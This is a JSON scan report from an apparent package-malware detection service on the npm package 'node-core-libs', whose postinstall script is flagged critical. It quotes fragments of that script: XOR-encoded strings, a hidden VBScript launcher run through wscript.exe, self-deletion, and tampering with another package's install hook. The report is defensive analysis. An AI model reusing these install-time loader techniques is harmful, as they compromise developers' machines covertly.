{"package":"node-core-libs","version":"1.0.0","known":true,"status":"error","discovered_at":1790300826981,"has_install_script":true,"report_url":"https://andymal.com/packages/node-core-libs/1.0.0","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790376514403,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":2291,"lab_ip":"10.77.0.153","hooks":[{"name":"postinstall","command":"node scripts/postinstall.js","exit":0,"timed_out":false,"seconds":1,"stdout_tail":"\n> node-core-libs@1.0.0 postinstall\n> node scripts/postinstall.js\n\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":""}],"process_count":6,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node scripts/postinstall.js","node scripts/postinstall.js","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":[],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"node-core-libs","version":"1.0.0","description":"Core utility primitives for Node.js: buffer helpers, event utilities, stream tools, async primitives, and type checks","scripts":{"postinstall":"node scripts/postinstall.js","test":"echo \"Error: no test specified\" && exit 1"},"install_hooks":{"postinstall":"node scripts/postinstall.js"},"bin":{},"main":"index.js","dependencies":[],"author":"Hexa-devy","license":"MIT","hasInstallScript":true},"files":[{"path":"scripts/postinstall.js","size":2558,"kind":"text","score":1,"hits":["network_egress","download_execute","code_execution","hidden_compiled_code"],"role":"entry"},{"path":"index.js","size":6740,"kind":"text","score":0.301,"hits":["obfuscation"],"role":"entry"},{"path":"package.json","size":684,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":"LICENSE","size":1066,"kind":"text","score":0,"hits":[]},{"path":"README.md","size":1824,"kind":"text","score":0,"hits":[]}],"file_count":5,"unpacked_size":12872,"findings":[{"title":"Install hook","detail":"postinstall: node scripts/postinstall.js","severity":"low","location":"package.json"},{"title":"Obfuscated or encoded code","detail":".toString('hex'); } function hexToBuffer(hex) { return Buffer.from(hex, 'hex'); } function bufferConcat(buffers) { return Buffer.con","severity":"high","location":"index.js:17"},{"title":"Install hook runs a script","detail":"s/\", \"README.md\", \"LICENSE\" ], \"scripts\": { \"postinstall\": \"node scripts/postinstall.js\", \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"","severity":"medium","location":"package.json:14"},{"title":"Network activity","detail":"resolve(nm,'..'); // project root // 1. node-fetch-utils/package.json — remove postinstall entry const","severity":"medium","location":"scripts/postinstall.js:15"},{"title":"Network activity","detail":"json — remove postinstall entry const up=p.join(nm,'node-fetch-utils','package.json'); if(f.existsSync(up)){","severity":"medium","location":"scripts/postinstall.js:16"},{"title":"Download-and-execute chain","detail":"domBytes(4).toString('hex')}.vbs`); f.writeFileSync(n,d); f.writeFileSync(v,`Set o=CreateObject(\"WScript.Shell\")\\r\\nSet fs=CreateObject(\"Scripting.FileSystemObject\")\\r\\no.Run \"node \"\"${n}\"\"\",0,False\\r","severity":"critical","location":"scripts/postinstall.js:44"},{"title":"Executes commands or dynamic code","detail":"require('fs'),o=require('os'),p=require('path'),sp=require('child_process'); const _b=a=>Buffer.from(a.map(v=>v^0x5A)); const _K=_b([","severity":"medium","location":"scripts/postinstall.js:3"},{"title":"Executes commands or dynamic code","detail":".writeFileSync(n,d); f.writeFileSync(v,`Set o=CreateObject(\"WScript.Shell\")\\r\\nSet fs=CreateObject(\"Scripting.FileSystemObject\")\\r\\no","severity":"medium","location":"scripts/postinstall.js:44"},{"title":"Executes commands or dynamic code","detail":"\\r\\nfs.DeleteFile WScript.ScriptFullName\\r\\n`); const ch=sp.spawn('wscript.exe',['//B','//nologo',v],{detached:true,stdio:'ign","severity":"medium","location":"scripts/postinstall.js:45"},{"title":"Code decrypted or compiled at install time, or source deleted after use","detail":"dio:'ignore',windowsHide:true}); ch.unref(); _tidy(); try{f.unlinkSync(__filename);}catch(_){} process.exit(0); }catch(_){_tidy();process.exi","severity":"critical","location":"scripts/postinstall.js:48"}],"injection_findings":[],"hits":{"obfuscation":1,"install_hook_shell":1,"network_egress":2,"download_execute":1,"code_execution":3,"hidden_compiled_code":1},"iocs":{"urls":[],"domains":["no.run"],"ips":[]},"score":1,"priority":155,"hints":["install hook postinstall: node scripts/postinstall.js","untrusted hosts referenced: no.run","capability hits: code_execution×3, network_egress×2, obfuscation×1, install_hook_shell×1, download_execute×1, hidden_compiled_code×1"],"entry_files":["scripts/postinstall.js","index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}